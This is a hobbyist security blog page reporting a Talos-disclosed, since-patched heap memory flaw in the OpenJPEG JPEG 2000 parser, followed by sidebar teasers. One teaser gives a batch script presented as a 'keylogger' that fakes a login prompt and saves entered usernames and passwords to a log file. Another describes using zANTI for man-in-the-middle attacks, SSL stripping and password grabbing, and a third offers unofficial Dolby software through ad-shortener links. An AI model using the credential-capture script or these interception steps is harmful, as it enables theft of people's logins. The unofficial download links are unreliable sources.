Skip to main content

By opening jpeg 2000 image file you can get hacked

: Security researchers at Talos have discovered zero-day vulnerability in JPEG 2000 image file format. A specially crafted JPEG 2000 file can trigger a massive read and write of adjacent heap area memory, causing a code execution possibility.

Azero-day flaw in the JPEG 2000 image file format has been discovered by the security experts at Cisco Talos group. The JPEG 2000 is often used to embed images in the PDF documents. This vulnerability affects the image file format parser implemented in OpenJPEG library. OpenJPEG is an open-source JPEG 2000 codec written in C language.

This revelation has been made in a security advisory published by Talcos. The advisory states that the flaw could allow arbitrary code execution. This flaw was first discovered by Aleksandar Nikolic of Cisco Talos.

The security researchers have successfully tested the JPEG 2000 exploit on the OpenJPEG openjp2 2.1.1.

What makes this zero-day flaw in JPEF 2000 so scary?

In order to exploit the vulnerability, a hacker needs to trick the victim into opening custom JPEG 2000 image file. This could be done by sending an email to the victim, containing a PDF file or some other methods like Google Drive or Dropbox.

Due to an error while parsing mcc records in the jpeg2000 file, the attacker can access out of the bounds memory. It could result in a massive read and write of adjacent heap area memory. On further manipulation of heap layout, a skilled hacker can head metadata process memory corruption, leading to code execution.

The security advisory states:

The vulnerability lies in opj_j2k_read_mcc_record function in src/lib/openjp2/j2k.c file which is responsible for parsing mcc records.

Talos experts have disclosed the zero-day flaw to the vendor OpenJPEG on July 26, which was followed by a patch released on September 29.

Detailed information can be found on Talos website.

Did you find this article helpful? Don’t forget to drop your feedback in the comments section below.

Comments

Post a Comment

Popular posts from this blog

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file will be in there, [if you make a second entry, the
Post a Comment
Read more

get dolby atmos free on your PC

Welcome to my blog today i am here with very important item for your DDOOLLBBYY Atmos Everyone  or (at least geeks) knows  about the power of Dolby atmos we used to know that dolby atmos was only available for select PC only well not anymore from this link you can get in any pc note:  after installing dolby atmos install dolby access from https://dw27.malavida.com/dwn/8bdf73315506600b39e53dedb7616c896cc3811b629894bbe0bc994820b8af75/DolbyAccess.appx    and son't update from window store ..    just don't update it links http://gestyy.com/w2mDPI for dolby atmos   http://gestyy.com/w2mDKi  for device  driver ' http://gestyy.com/w2mDCF   for dolby atmos for gaming http://gestyy.com/w2mDN7    for dolby gaming driver if you  have any question feel free to comment
3 comments
Read more

use zantu on android

Zanti 2 is a android application which is made up for network penetration testing. What Zanti 2 can do? Scan the whole network show alive host in the network scan port through Nmap for port Scanning Scan Service on each port and find vulnerability. Perform Brute force Attack Perform Shell Shock etc Vulnerability MITM : Man In The Middle Attack Session Hijackings SSL Striping Sniffing Packets Replace Image Redirect URL and IP Intercept and modified live download. Disclaimer –  I recommend that you test this tutorial on a system that belongs to YOU.   For Demonstration : Before  install Zanti your Phone must be rooted  .. In case your phone is not rooted search in the site you will find how to root android its very easy. I used Zanti in my android device and Scan the network. I choose the Mac OSx Machine which was my laptop. After that start The MITM on and SSL strip to grab some packets and try to grab the password of that machine. in the end i successfully travel the
Post a Comment
Read more